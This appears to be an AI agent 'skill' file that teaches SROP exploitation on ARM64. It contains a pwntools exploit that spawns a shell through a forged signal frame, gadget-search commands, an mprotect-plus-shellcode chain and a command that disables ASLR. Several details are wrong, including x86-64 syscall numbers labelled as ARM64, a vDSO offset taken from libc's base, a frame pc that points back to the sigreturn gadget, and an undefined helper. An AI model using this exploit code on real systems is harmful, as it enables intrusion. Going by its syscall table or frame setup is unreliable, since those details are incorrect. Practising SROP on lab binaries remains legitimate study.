SROP (Sigreturn-Oriented Programming) on ARM64
This skill teaches you how to perform SROP attacks on ARM64 binaries by manipulating signal frames to control register state and execute arbitrary syscalls.
When to Use This Skill
Use this skill when:
- You need to exploit a buffer overflow on an ARM64 binary
- You want to understand or practice SROP techniques
- You need to craft
SigreturnFramepayloads with pwntools - You're looking for
sigreturngadgets in binaries or vDSO - You want to chain SROP with ROP for advanced exploitation
- You're working with ARM64 signal handling vulnerabilities
Core Concept
SROP abuses the rt_sigreturn system call to restore arbitrary register state. By overwriting the return address to point to a sigreturn gadget and placing a crafted signal frame on the stack, you can control all general-purpose registers and pstate, then execute arbitrary syscalls like execve.
Quick Start: Basic SROP Exploit
Step 1: Set up the environment
# Disable ASLR for testing
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# Install required tools
pip install pwntools ROPgadget
Step 2: Create a vulnerable test binary
Use the helper script to create a practice binary:
python3 scripts/create_srop_test_binary.py
This creates srop_test with a buffer overflow vulnerability.
Step 3: Write the exploit
from pwn import *
# Setup
p = process('./srop_test')
elf = context.binary = ELF('./srop_test')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
# Find /bin/sh in libc
binsh = next(libc.search(b"/bin/sh"))
# Find sigreturn gadget (mov x8, #0x8b; svc #0)
# 0x8b = __NR_rt_sigreturn
sigreturn_gadget = find_sigreturn_gadget(elf)
# Craft the signal frame
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve # syscall number for execve (59)
frame.x0 = binsh # path to /bin/sh
frame.x1 = 0 # argv = NULL
frame.x2 = 0 # envp = NULL
frame.pc = sigreturn_gadget # return to sigreturn
# Build payload
stack_offset = 72 # Adjust based on your binary
payload = b'A' * stack_offset
payload += p64(sigreturn_gadget)
payload += bytes(frame)
# Send and interact
p.sendline(payload)
p.interactive()
Finding Sigreturn Gadgets
Method 1: Using ROPgadget
# Find in a running process
python3 -m ROPGadget --binary /proc/$(pgrep srop_test)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# Or use the helper script
python3 scripts/find_sigreturn_gadgets.py ./srop_test
Method 2: Using rp++
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"
Method 3: Check vDSO
The vDSO page often contains a sigreturn trampoline at offset 0x7b0:
# In your exploit
vdso_sigreturn = libc.address + 0x7b0 # May vary by kernel
Advanced: Chaining SROP with ROP
Use SROP to call mprotect, then pivot to executable stack:
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new stack pointer
frame.pc = sigreturn_gadget
# Send frame, then send shellcode
p.send(bytes(frame))
p.send(shellcode)
Kernel Validation Considerations
Linux 5.16+ validates signal frames strictly:
uc_flagsmust containUC_FP_XSTATEwhenextra_contextis present- Reserved words in
struct rt_sigframemust be zero - Pointers in
extra_contextmust be aligned and in user space
Solution: Use pwntools>=4.10 which crafts compliant frames automatically.
PAC and BTI Considerations
Modern systems (Android 14+, Fedora 38+) use Pointer Authentication (PAC) and Branch Target Identification (BTI):
- SROP itself is unaffected - the kernel overwrites PC directly
- Subsequent ROP chains must jump to BTI-enabled instructions
sigreturntrampolines already include correct BTI landing pads
Common Syscall Numbers (ARM64)
constants.SYS_execve # 59 - execve
constants.SYS_mprotect # 226 - mprotect
constants.SYS_read # 0 - read
constants.SYS_write # 1 - write
constants.SYS_exit # 93 - exit
Debugging Tips
- Check frame alignment: ARM64 requires 16-byte stack alignment
- Verify gadget addresses: Use
gdbto confirmsigreturngadget works - Test with simple syscalls first: Try
exitbeforeexecve - Check kernel version:
uname -r- older kernels may have different validation